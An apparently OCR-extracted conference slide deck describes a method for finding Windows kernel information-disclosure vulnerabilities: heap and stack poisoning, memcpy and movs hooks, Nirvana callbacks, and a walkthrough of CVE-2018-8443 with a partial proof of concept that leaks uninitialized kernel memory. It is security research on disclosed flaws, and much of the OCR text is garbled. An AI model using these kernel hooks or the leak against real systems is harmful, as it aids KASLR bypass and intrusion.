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Who am I?

* Senior Security R&D Engineer at
Baidu Security Lab

* Has been engaged in Windows
Kernel Security Development for
years

* Rootkit expert

* Accidentally involved in the field
of vulnerability research

Tanghui Chen
chenhui00530@163.com



What is the Kernel Information Disclosure
Vulnerability?

There are many information disclosure vulnerabilities in Windows
kernel that may lead to the ASLR bypass or critical system
information disclosure, which can be exploited by attackers to reveal
confidential information such as:

* Encryption keys
* Kernel objects

* Key kernel module addresses



Root Causes of the Vulnerability

Uninitialized Kernel Object
data Pointer

Information
Disclosure

Module Base
Address

.

user space

KASLR:

kernel space

CVE-2018-8443

1. Call ZwDeviceloControlFile (..., 0x7d008004, Output,...) in
user mode

2. ZwDeviceloControlFile switches to kernel mode after
system call

3. Output contains the uninitialized data in kernel stack after
returning to the user mode

00000000: 00 00 00 00 00 0O 00 OO 0O 00 OO 0000 00 00 00
00000010: 00 00 00 00 00 00 00 00 78 2f 00 00 00 00 00 00
00000020: 41 41 41 41 41 41 41 41 41 41 41 41 00 00 00 00
00000030: 41 41 41 41 41 41 41 41 41 41 41 41 00 00 b9 Of
00000040: 11 41 41 41 14 08 00 00 b0 00 00 00 b4 00 00 00 .AAA

00000050: 41 41 41 41 3b 00 00 00 5c 00 64 00 65 00 76 00 AAAA;. \.d.ev.




Existing Vulnerability Mining Techniques
* BochsPwn

d CPU emulator

* DigTool
d Heavyweight VT techniques

* Instrumentation



Discovering Information Disclosure Vulnerability

o3 I 1.Poison kernel heap and stack
Qe data, and fill padding flag data
2.Data is checked at a certain time

*zgﬁcgtj when the application layer
w2

AAAA memory is written. If there is
padding flag data in the memory,
it's possible a vulnerability exists.

3. Analyze and confirm the
vulnerability

user space kernel space

1. Stgck/!—leap 3. Vulnera!omty
Poisoning Analysis




Step 1: Heap/Stack Data Poisoning Techniques

* Hook KiFastCallEntry, Kernel Stack Poisoning
* Hook ExAllocatePoolWithTag, Kernel Heap Poisoning

* Fill the heap and stack memory data with padding flag data, such

- LAVAN



Stack Poisoning

In the Hook KiFastCallEntry, get kernel stack memory by IoGetStackLimits, and
fill padding flag data

ToGetStackLimits (&LowLimit, &HighlLimit);
__asm{
Xor eax, eax;
mov al, g cFlags; //OxAA
mov edi, LowLimit;
mov ecx, Esp Value;
sub ecx, LowlLimit;

cld;




Heap Poisoning

Fill padding flag data when calling ExAllocatePoolWithTag to allocate memory

PVOID NTAPI HOOK_ExAllocatePoolWithTag(...)

{
PVOID Buffer = NULL;
Buffer = pfn_ExAllocatePoolWithTag(PoolType, NumberOfBytes, Tag);
if (Buffer){

memset (Buffer, g cFlags, NumberOfBytes); / /GRS EERE, NoxAA

return Buffer;




Thoughts on Heap and Stack Data Poisoning

* Heap and stack data poisoning techniques are relatively simple,
there is no good or bad techniques

* If the memory has data that is the same as the poisoned data, it's
possible to receive false positives.

* Therefore, using variable padding flag data for poisoning can
help reduce false positives.



Step 2: Research on Data Detection Techniques

Currently we have CPU emulator and VT data detection
techniques.

Are there more and better techniques?



Data Detection Techniques Research

We came up with three techniques for data detection based on our
research:

* Nirvana (

)

* memcpy/memmove, referred to as memcpy (

)

* MOoVsS



Nirvana: Overview

Nirvana is a lightweight, dynamic translation framework provided by Microsoft that
can be used to monitor and control the (user mode) execution of a running process
without needing to recompile or rebuild any code in that process (from Hooking
Nirvana@Alex Ionescu). This is the first time Nirvana being used in kernel information
disclosure vulnerability mining.

Nirvana can be used to set the callback function when the system call returns to the

user mode, and the stack data can be detected in the callback function.

ZwSetInformationProcess (NtCurrentProcess(),ProcessInstrumentationCallback,&Info64,sizeof(Info64));

typedef struct PROCESS_INSTRUMENTATION CALLBACK_INFORMATION{
ULONG_PTR Version;
ULONG_PTR Reserved;
ULONG_PTR Callback;

}PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION




Nirvana: Implementation

__declspec (naked) VOID InstrumentationCallback()
{
__asm{
//The code is omitted...
mov eax, fs:[0Ox8];

mov edi, fs:[0x4];

cmp dword ptr[eax], g cFlag; //Q10XAAAAAAAA

jz __find;

add eax, 4;

cmp eax, edi;

//The code is omitted...
jmp dword ptr fs : [0x1BO];




The scene captured by Nirvana

Offset: |@S=copeip
001b:007£0660 75£2 jne no07f0654

aw args Func info Source Addrs Headings Monvolatile regs Frame nums Source args  More Less

[57fdb48 77094212 057fdbb4 00000002 00000000 Ox7£0698 A= £ = -
77094233 00000000 740a0cc0 7484a6f0 ntdll!LdrpHandleProtectedDelayload+0x232 (FPO: [SEH]) N01b:007f0664 645108000000 now eax.dvord ptr f=:[00000008k]
744b563a 74320000 74831458 00000000 ntdll!LdrResolveDelayloadedAPI+0x133 (FPO: [SEH]) N01b:007f066a 813811111111 cnp dword ptr [eax].11111111h
744dd5c0 74831458 7484a6f0 11111111 Windows Storage!_  delayLoadHelper2+0x28 (FPO: [Hon-Fpol) N01b:007£f0670 740 Hie 007£06580
744352de 00c862d4 00c85380 057fel74 Windows Storage! _tailMerge api_ms win shcore obsolete 11 1 0 _dll+0=d O0iD OuFtuG e oacnnd aad eax, 4
744df£851 00000000 057fel74 00c862d4 Windows Storage!SHSimplelDlistFromFindDataindFlags+0x44 (FPO: [Hon-Fpol) 001b:007£0675 643B0504000000 cnp eax.dvord ptr fs:[4]
74434da3 00000010 057fel74 00000000 Windows Storage!SHSimplelDlistFromittributesindFlags+0x4c (FPO: [2.151.4 001lb:007f067= 735h jae n07f0e6da
76d38a53 00000008 00000005 00c862d4 Windows Storage!SHChangeNotifw+0xe3d (FPO: [Hon-Fpol) - Snn 007 f066S
76d389=5 00000000 00c862d4 00000000 shocore! CreateDirectoryHelper+0x63 (FPO: [Hon-Fpol) 0lb: 007f0680 25c9 test SCE . BCE
6be95586 00000000 O0=B862d4 00000000 shoore!SHCreateDirectoryExW+0x15 (FPO: [Hon-Fpol) -
6be954e7 00000000 69b625c8 00000000 iertutil!FilePathStore: :_EnsurePathEzxists+0x51 (FPO: [0.0.071) 00lb: 007f0684 c700ccoooooe now dword ptr [ea=]. JLLLLLLLCH
6be952b6 057f=8b8 00000104 057f=878 iertutil!FilePathStore:  GetBrowserProfileDataFilePath Internal+0x22d (FPi 001b:007f068a 83c004 add eax. 4
69c58b22 69b625c8 00000000 057fe8b8 iertutil!GetBrowserProfileDataFilePath+0xl6 (FPO: [Hon-Fpol) 001b:007£068d 643B0504000000 cnp eax.dvord ptr fs:[4]
69c1d094 057f=8b8 00000104 69382548 WININET!GetBrowserProfileDataFilePathWrapper+0zxaZ (FPO: [Hon-Fpol) 001b:007f0694 7343 jae n07f0e6da
69cl1c8b? 69d264cc 0085920 00000000 WINIHET!CCacheClientConfig::_GetContentContainerDirectory+0x7e (FPO: [Ho . | N7flAG=
£9c1c561 69d264cc 69clc5l0 00000000 WININET!CCacheClientConfig: :Initialize+0x2f8 (FPO: [0,283,41)
7709bdce 69d264cc 00000000 00000000 WININET!CCacheClientConfig: :InitCnceCallback+0x51 (FPO: [Hon-Fpol) 001k -007f0R99 CF nush P
7408c6d? 69d264cc 69clc510 00000000 ntdll!RtlRunOnceExecutelnce+0xSe (FPO: [Hon-Fpol) 001b:007f069a 8b0b now ecz.dvord ptr [ebz]
69c1865b 69d264cc 69clc510 00000000 KERWELBASE!InitOnceEzecuteOnce+0x17 (FPO: [Hon-Fpol) 001L:007f06%9= 29548hL0% now dword ptr [ebzt+ecxz*4+8].e=d=x
69cl6e48 69282548 057££010 00000000 WININET!CCacheClientConfig: :GetInstance+0x24 (FPO: [Hon-Fpol) 00lb:007f06a0 59 Dop EecHE
69ba7d05 00000000 00c8d5f0 00c8a528 WININET!UrlCacheGetConfig+0x24 (FPO: [Hon-Fpol) 001lb:007f06al fOffO03 lack inc dword ptr [sbx]
69ba7acl 00cB8a528 00c8aS52c 00000001 WININET!CCookieServerContainer: : Connect+0x57 (FPO: [Hon-Fpol) 001lb:007f06a4 83ci0l add ecx.
69bf98c6 0000035b 00000000 00c8a528 WININET!CCookieClientContainer:  CreateServerContainer+0x3d (FPO: [Hon-Fpo 001lb:007f06a7 =bdb inp 007f0684
69bf969d 00c8cad8 057ff36c 00000001 WININET!CCookieClientContainer: : GetServerContainer+0xb8 (FPO: [Hon-Fpol) 001lb:007f06a9 645108000000 now eax.dvord ptr f=:[00000008k]
69c0ff6f 00084402 00000000 00000000 WININET!CCookieHost: :Sync+0xlel (FPO: [Hon-Fpol) 00lb:007f06af 813811111111 cnp dword ptr [eax].11111111h
69c0f7df 00c9b460 00c9b468 00000000 WININET!CCookiedar: :SetCookieParsed+0x631 (FPO: [Hon-Fpol) 001b:007f06L5 740 ie 007f06c5
69c0£333 00c8cac8 00084402 00000000 WININET!InternallnternetSetCookie+Oxd4la (FPO: [3.43.471) 001b:007f06b7 83c004 add sax. 4
5994584a 00c88b54 00c8a4c8 00c8d5d8 WININET! InternetSetCookieExW+0xe3 (FPO: [Hon-Fpol) 001b:007£06ba 643B0504000000 cnp eax.dvord ptr fs:[4]
59945b39 00cB8a4c8 00c8d4d0 00000000 EdgeContent !’ anonymous namespace' :  SetCookiesInProcess+0x231 (FPO: [Hon-] 001lb:007f06cl 7316 jae n07f0e6da

57ff4b8 598d9d2e 20863£f82 59849820 057ff758 EdgeContent|CookieCredltils: SetCockiesInProcessFromSessionData+0=zad (FPOY | ln0ib:007f06c3 ebea inp 007f06af

> 001b:007f06cE c?00ccooccooo oW dword ptr [eax].0CCCCCCCCh

*#++ BUILD Ver=sion: 0162 s Increment thisz if a change has global effects BEreak instruction exception — code 20000003 (first chance)
001b:007£0698 cc int 3
opyright {(c) Hicrosoft Corporation. All right=s reserved. 1: kd: .reload
Connected to Windows 10 17692 =86 compatible target at (Tues May 28 00:34:20.401 2019
odule Hame: Loading Kernel Symbols

Thiz module deﬁines the WDH types, constants, and functions that are
exposed to device drivers. Loading unloaded module list

evizion History: 1: kd: v

cax=057fde54 ebx=007£0000f ecx=00000000 |edx=770d5842 e=i=00000002 edi=748426£0
eip=007f0698 esp=057{f{dafs iopl=0 nv up i pl zr na pe nc
cs=001b  ss=0023 d==0023 e==0023 fs=003b gs=0000 =£1=00000246
_VDMDDE_ 001b:007£0698 oo int 3

_WDHDDE_ 1: kd: dd QO eG4
057fde54 11111111 J00=862d4 743f3dba 00c862d4
_HTDDE 057fdekd O deSc 00000000 00=B862d4 057fe=l74

_WDH INCLUDED 057fde?4 057fdsbd4 74427410 057fel74 743esbda
_DDE_DRIVER_ 057fdeB4 00c9fd40 00000010 00c862d4 743e=6ed
057fde%4 057fdefl 057fdecc 00c9fd40 17d9b4c9
057fdead 057fded0 744352de 00c862d4 0085380
< Tze 9= compat Interlocked functions by default when including wdm.h 057fdebd4d O057fel74 00000000 00OOOOQOO CQOOQOOGOLO0
< 057fdecd 057fel74 00c862d4 00cB85380 057f=148

pdefine NO_INTERLOCKED INTRINSICS

1 kd




Nirvana: Pros

* Nirvana is supported by Windows Vista and later systems
* Implementation is easy by using the system provided interface

* Good compatibility



Nirvana: Cons

* Can only detect stack data, almost impossible to detect heap data

* ltis relatively difficult to analyze and develop POC without

catching the real-time disclosure of information



memcpy: Overview

* memcpy/memmove is being used for copying data from

kernel space




memcpy: Implementation

Hook memcpy/memmove, detect whether dst is user mode address and whether the data

includes padding flag data

void * _ cdecl HOOK memcpy( void * dst, void * src, size_ t count)

{
/KIS EES. ..
if ((ULONG_PTR)dst < MmUserProbeAddress){
pOffset = (PUCHAR)src;
while (pOffset <= (PUCHAR)src + count - sizeof(DWORD)){
if (*(DWORD *)pOffset == g _dwDwordFlags){
//checked

T}
/IRBEEE. ..




memcpy: Features

* Easy to implement, outstanding performance with almost no
performance loss

* Good compatibility

* Being able to catch the first scene of the vulnerability, analyzing and
writing POC is simple

* OQutstanding advantages, few flaws



Memcpy in-depth study
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memcpy (TestBuffer,"1234567890", Length);
memcpy (TestBuffer,"1234567890",10);
memcpy (TestBuffer,"1234567898",160);
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memmove (TestBuffer,"1234567898", Length);
memmove (TestBuffer,"12345678906",10);
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* If size is a variable, nt calls memcpy directly
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* If size is constant, memcpy is optimized

-

o m
o

* If size is a large constant, memcpy is

optimized to movsd ' c o8 ."_.',c' 3

push

*  Memmove will not be optimized

edx 3 MaxCount
offset dword_19BE® ; Src
eax, _TestBuffer

eax

esp, @Ch

ds:dword_19BE@
dx

aAn 3 MaxCount

offset dword 19BE@ ; Src

edx, TestBuffer
> ; Dst




Exploring movs

°* memcpy optimizations
* Eventually compiled into movs instructions

* Detecting data using mpvs can resolve the insufficient memcpy

coverage problem in some rare cases



movs: Implementation

°* movs dst, src; (F3A5) int 20h; (CD20) are two bytes
* Scan the nt module and replace all movs with int 20h
* Customize int 20h interrupt handler, KiTrap20

* Detecting memory data in KiTrap20



movs: Implementation

if (*(WORD *)pOffset == OxA5F3){ //rep movs dword ptr es:[edi],dword ptr [esi]
MdlBuffer = GetMdlBuffer(&Mdl, pOffset, 2);
*(WORD *)Md1Buffer = ©x20CD;//int 20

}
__declspec (naked) VOID HOOK KiTrap20()

{
__asm {
//The code is omitted...
pushfd;
pushad;
call DetectMemory;
popad;
popfd;

rep movs dword ptr es:[edi], dword ptr[esi];
iretd; }
//The code is omitted...




movs: Implementation

VOID
DetectMemory(PVOID DestAddress, PVOID SrcAddress, SIZE T Size)

{

//The code is omitted...

if ((ULONG_PTR)DestAddress < MmUserProbeAddress){
pOffset = (PUCHAR)SrcAddress;
if (*(ULONG_PTR *)pOffset == g_dwDwordFlags){

//checked

}
//The code is omitted...




movs: Features

* Data detection is more comprehensive than memcpy coverage

* Ability to capture the vulnerability real-time and easy to

analyze/develop the POC



Step 3: Vulnerability Analysis

Use live debugging for analysis and confirmation when a
vulnerability is captured.

Switch to user mode. If the padding flag data exists in user
mode memory, it is safe to confirm a kernel information
disclosure vulnerability exists.

Develop PoC based on analysis of callstack and reverse
engineering of user mode code that issues the syscall.



Vulnerability Analysis

* Memories were copied multiple times for some of the
vulnerabilities, which makes the POC analysis and development

very difficult.

* We implemented a set of memory tracking tools to assist our
analysis, which can:

« Memory trace

« Memory conditional breakpoint



CVE Analysis

CVE-2018-8443, a vulnerability detected in winl@ 17134 x64

© Arg=s to Child s all Site
0 f£ff£8487 62036l £££££803° 0bdadafy : 0000025L° 0ce92010 f£££4301°4£682010 00000000 000O00fds f£f££f4301° 4cf2beB0 :[Nirvana!HDDK_memDp?+DHE?9][d:*

ffffe487Y 62036ec £fE£££802°0b4a4111 ; ££££4301° 4£364660 00000000 00000000 QOOOQOOOQ0" QOOOQOO0Q0 QOOOQOOOQ0  Qoo00000 ; ntllopCompletelequest+0xEE09
ff££8487Y 62036fb0 £££££803° 0b4a2301 : 00000000 0OOOOQLO00 QOOOOQOOO  QOOOOQOO00D ffffb34db 00000000 f£ff£f4301° 4fedecls : ntlKiDeliveripo+0xl7l
ff££8487Y 62037040 £f££££803°0b4al8bb : 00000000 0OOO00O0Y f£££4301° 4f64d5c0 00000000 QOOOQOOOQD f£££4301° 4f650478 : nt!KiSvapThread+0=z501
t£££8487Y 62037110 £££££803° 0b4a0?bY © 00000000 0Q0O0OQ0O0 OQOOOQOOOQ" 00000000 O0000000" 00000000 aoooooon™a0oo0ons @ nt!KiCommitThreadWait+0xl3b
ff££8487Y 62037100 £££££803°0b917Yeb0 : ££££4301° 00000005 ££££8487 62037340 £f£££d4301° 4f67b9b0 ffiffeff 00000006 : ntl!KeWaitForMHultipleObjects+0:
tf££8487Y 62037290 £££££803°0b918947Y . ££££8487  620377=0 0000007 6aB8££8=0 00000000 QOO0OQ0O0OQ0 QOO0OQOOOQO0 QOO0Q0E£0 : nt!lObWaitForHultiplelbjects+0:

07 f£££8487 62037790 f£f£££f803°0bSbe943 ¢ fEf£f£f4301°4f60£080 0000007 6aBf££828 fi££4301°4f60£080 00000072  6a8fi5b8  ntIHtWaitForHultipledbjects+0:

0g ££££8487° 62037210 00007£££°59alsa04 © O000FL£££°86736099 000000007 01000000 000000007 00000000 000000007 00000002 nt!KiSystenServiceCopyEnd+0xzl:
Q000007 " eaB8f£598 0000YE£££°86796099 ¢ 00000000 01000000 QOOOQOOOO  OOOOOOOO Q0000000 Qoo00o02 00000250 020188 @ ntdll!HtWaitForMultipleObject:
0000007 " 6a8f£5a0 00007££f° 7b42bebd © 00000000 QOOOOQOLE OOOCOQOQOOOQ  QOOOOOOQO QOOOQOOOQO0 Q0000020 00000000 Q0000000 ; KERMELBASE!WaitForMultipleObije
0000007e" 628££9a0 OO0O007E£££°99473034 © 00000000 00000000 OO0O0OCOOO" 00000000 OOOOOOOQO" 00000000 00000000° Qo0o00an @ |npssve!Fyvlpocal lThread+0x244|
Q000007 " 6aBfE£9b0 QOOOYE£££°899£1431 ¢ 00000000 0QOOOQOO0 OQOOOQOOOQ" 00000000 O0000000" 00000000 ooooQoon-aooooonn MBazeThreadInitThunk+(
0000007  eaBff9=0 0OO0OOOOO QOOOOOOO0 . QOOOQOOOO" QO0O0O0O000 Q0ooO0ooO00  0ooO00o00 Qoo0oo00" Qoo0oo0o aooQoo0o  aoooo0D @ ntdll!EtlUserThreadStart+0x21

k> [db Omffffdcal £d470d30 |
lz8eaf9
. fftfftdcBT Td470d90 o3 0L 0o
gigggggéggxﬁgfggggg] ffffdoB0” fdd7bdal a5 db 28
T ffffdoi0 fdd7bdb0 01 00 00
nERT L £££dc80° £d47bdcl 02 00 00
St woniee s HHEIEURR 10 O
i Ffffdofn  fd47bdf0 bo £2 44
0=00000000 700000000 ffffdeB0’ fd47bed0 01 00 00

dwForHanual
d=t

| =rc

count

Irgl

pof f==t

i

Buffer

Entry
FetAiddre=ss

Oxffffd=81 02629698
Oxfffff803°3671aaf9

kdr lmDvmmpsswo

Browse full module list

=tart end module name

Qoo07£££f° 7b3e0000 000O0YE££E" Ybd4c2000 npEsws (pdb =ymbols)
Loaded =ymbol image file: mpsswvc.dll
Inage path|[ cwindowsSsystendmpssvo . dll ]
Image namse. mp=E=ve . dll




CVE Analysis

Go back to mpssvc.dll and verify that user-mode memory contains special tags.

kd: g

Breal instruction exception — code 30000003 (fir=st chance)
pe=vCclbwllpzcal [ Thread+lU=zs44

0033:00007££8° 21d9bebd co int 3

T

rax=0000000000000004 rbx=0000000000000020 rcx=ac99bL586le7a0000
rdxz=0000000000000000 r=1=0000000000000000 rdi=0000000000000004
rip=00007{f{{f{8=21d%9beb4 r=p=0000009d4d76lffa?0 rbp=0000009d761ffb19

0033:00007f£8 21d9bd30 488b0449900700  mow ro®, gword ptr [mpssvol| CDfwEngWriter: dvSpecialCSGeneration+l=xs8 ([
0033:00007ff8 =1d9bda87? 45330 EOT rod, r8d
0033:00007f£f8 =21d9bd8a 4=89742438 Moy WOT tr [resp+ddh].rld DUtpUtﬁ%ﬁ?ﬁ?EE

0033:00007ff8 el1d9bda8f bal4830007d mow edx,
(Q0007££8° =1d9bd94 4821742430 and .
I0007ff8 21495499 498394518 Mo aword otr [r1d4+18h].ra
:00007f£8° =1d9bd9d 49844620 lea rax. [rld+20h]
(00007f£8 21d9%dal =7442428480£0000 Mo ju] NEDEh
(00007ff3 21d9bda9 483839442420 mow gword ptr [rep+20h]lrax Dutput

(00007ff8 e1d9%bdas ££1574200400 call gword ptr [mpssvc!_imnp DeviceloControl (00007ff8 =ldebezd)]

|11

ooooo2lc

0000021=" 25890kB60
0000021e" 25890870
0o00021e"25890kB20
0000021 25890kB90
0000021 25890ba0
0000021e" 2589000
0000021e" 25890b0




CVE Analysis

Go back to mpssvc.dll and find the code that triggered the vulnerability

poo07£ff " 7b42bd?8 483b441d49f o rax.qword ptr [rbp+rbz—61h]

poo07fff " 7bd42bd7d 45339 HOT r9d,r9d

ooon7fff " Ybd2bd80 488b0449900700 hnv rocx,gword ptr [mpssvelCDivEnglWriter:  dwSpecialCSteneration+l=8 {DDDD?fff‘?h4a4ddD}]]
0o007£ff " 7b42bde? 45330 HOT FedTrEd

0o007fff " 7b42bdBa 489742438 oy gword ptr [rsp+3fh].rld

o007£ff " 7b42bdBf bal480007d rﬁnv de,?DDDEDD4h]

0o007fff " 7b42bd94 4821742430 and gword ptr [rsp+30h].r=i1

QO007fff  7bd2bd99 49894518 o gword ptr [rld+18h].rax

0o007££ff " 7b42bd9d 493d4620 lea rax, [rl4+20h]

0oo07£ff " 7bd42bdal c7442428480£0000 mov dword ptr [rsp+Z28hk].0FDEL

ooo07fff" Ybd2bda9 4889442420 oW guord ptr [rsp+20h].ra=x

gooo7fff " Pbdlbdas ££1574a00400 call quord ptr [mpssvc!l_inp DeviceloControl (00007fff° 7b475e281]
pooo7fff ?7bd2bdbd 850 test EaH, 2aX

kd: dg 00007fff" ?b4adddi 11
oooo7fff" Yb4adddld 00000000 00000340
kd: lhandle 000000007 00000340

FROCESS ffffdal0lieca?sa0
Sezzionld: 0 0 Cid: 0434 Peb: Y2£9z29000 ParentCid: 0320
DirBa=se: 41b30002 0ObjectTable: f£££f8907bf663800 HandleCount: 629.
Image: =wvchost . exe

Handle table at ffff8907bLf663800 with 629 entries 1n use

03do: Object:!ffffd3014f5a9080 Grantediccess: 0012019f (Protected) (Audit) Entrv: ff££8907c0c56f40
Object: ffffd a vpe: (ffffd3014%a6asbl) File
ObjectHeader: ff£f£d4d3014f5a9050 (new wersion)
HandleCount: 1 PointerCount: 32769




PR AL b A | et Al e e ead " s

kd: dt O0=xfffid301 4e=ef=0850 _DEVICE CBIECT

kd: dt _file object f£f£f£fd43014£529080
= = ntdll!_DEVICE_CBJECT
ntdll!_FILE_CBJIECT +0=000 Type - On3

+0=000 Type : Onk +0x002 Size o O=238
0e008 DesimsObiect (Ot t7a301 1ofo0350 _DEVICE OBIECT Thalls Referencetount  © Anl
= eviceObiec | 0= ete _ _ +0x008 DriverObiect : [0xfFffd301 d=felcfl  DRIVER OBJECT ]

+0=010 Vpb : Enull} +0x010 NextDewice : (null)

[OOSR R B e T 1

kd: dt O=ffffd301  defelcf0 _DRIVER_OBJECT
ntdll!_ DRIVER_OBJECT
+0=000 Twvpe : Ond
+0x002 Size : On336
+0x008 Devicelbiect : Oeffffdadl” 4efeld50 _DEVICE COBJECT
+0=010 Flags=s o012
+0x018 DriwverStart  Deff£££80f 64500000 Void
+0x020 DriverSize : 0=x19000
+0x028 DriverSection D O=mffffd301 " defe?ldl Void
+0x030 DriverEztension : O=xffffd301 4defele=edld DRIVER EXTENSIOHN
+0=038 DriverHame . . ~Driver~mnpsdrv
+0x048 HardwarelDatasbasze : U=Lfffftold ObBCBbLy 78 _OHICODE STHING ~REGISTEY-~MACHINE-~-HARDWARE~DESCEIPTIOHN-SYSTEM®
+0x050 FastIolDispatch : (null)
+0=058 Driverlnit  Offfffo0f 24515010 long mpedrv | GeDriverEntrv+0
+0=060 DriverStartIo cofnull)
+0x068 DriverlUnload o O=Lff£££80f 64506170 volid mpsdrv!menset+0
+0=070 MajorFunction  [£28] O=xfffffa0f " 64501aal long mpsdrw ! MpslolaverDispatchIrp+0

%( OWORD *) = *(_0WORD [*)ablevice; |
= 101;

= Bi6h:

= ASALBTC2B525i6h;
g fHpsSymboliclinkCreated = 8;
={ OWORD =} = ={ DYDRD =)aDosdevi;

= 27BOGLTIGTIOCNITIION;

= xmmuword 1CBABEDES;
RtlInitUnicodeString(& .

= IoCreateDevice{g_DriverObject, BxE8u, & , B27080u, 6x188u, 1u, &
iF f Pl

.rdata:aeee0e81CBREERR adeiceMps:

text "UTF-16LE™, '"‘\Device\MP5',8




VE Analysis

Final completion of the POC

Status =
if
i

FindMPSHandle (ProcessId, &MPSHandle) ;
(WT_SUCCESS (Status))

PrintHex ( (PBEYTE)CutputBuffer,
Status =

sizeof (CutputBuffer)) ;
ZwheviceloControlFile (MPSHandle,

EventHandle,

NHULL,

NHULL,

&ToStatusBlock,

ffioctl code
NHULL,
’

CutputBuffer,

sizeof (CutputBuffer)) ;
if
i

(NT SUCCESS (Status))

if
i

(Status STATUS PENDING)

ZwWaitForSingleChject (EventHandle, FALSE, HNUOLL) ://vual
1

printf{"'\n\n"});
PrintHex { (PBYTE)OutputBuffer,

IoS5tatusBlock. Information) ; //f

uninitialized pool memory




Results

We discovered 12 windows kernel information disclosure vulnerability in three months, all have

CVE assigned.

7 of the CVEs received the maximum bounty award $5,000

Windows Kernel Information Disclosure Vulnerability CVE-2019-0536 Ruibc Liu of Baldd ¥Lak Tianya Team

Windows Kernel Information Disclosure Vulnerability CVE-2019-055¢ Ruibo Liu of Baidu ¥Lab Tianya Team

Remaote Procedure Call runtime Information Disclosure Vulnerability CVE-2018-8407 ¥egi Hu [#AA]ET) from Chengdu Security Resp
Ruibe Liu of Baidl XLab Tianya Team

Win32k Information Disclosure Vulnerability CVE-2018-8565 Long Li of Baidu XLab Tianya Team

Windows Kernel Informatien Disclosure Vulnerability CVE-2018-832 Ruibc Liu of Baidu XLab Tianya Team

DirectX Information Disclosure Vulnerability CVE-2018-8486 Ruibeo Liu of Baidu ¥Lab Tianya Team

Windows Infermation Disclosure Vulnerability CVE-2018-8271 Ruibeo Liu of Baidu XLab Tianya Team
Amichai Shulman Tal Be'ery

Windows Kernel Information Disclesure Vulnerability Tanghui Chen of Baidu ¥Lab Tianya Team

Windows Kernel Information Disclosure Vulnerability CVE-2018-8442 Tanghui Chen of Baidu X-Lab Tianya

Windows Kemnel Information Disclosure Vulnerability CVE-2018-844 Tanghui Chen of Baidu X-Lab Tianya

Windows Kernel Information Disclesure Vulnerability C\VE-2018-544 Ruiboc Liu of Baidu X-Lab Tianya Team

Windows Kemnel Information Disclosure Vulnerability CVE-2018-8348 Tanghui Chen of Baidu X-Lab Tianya team




Thinking

e Just so...

* User mode memory read-opd@(remove PTE write bit)

* Reverse tracking ®
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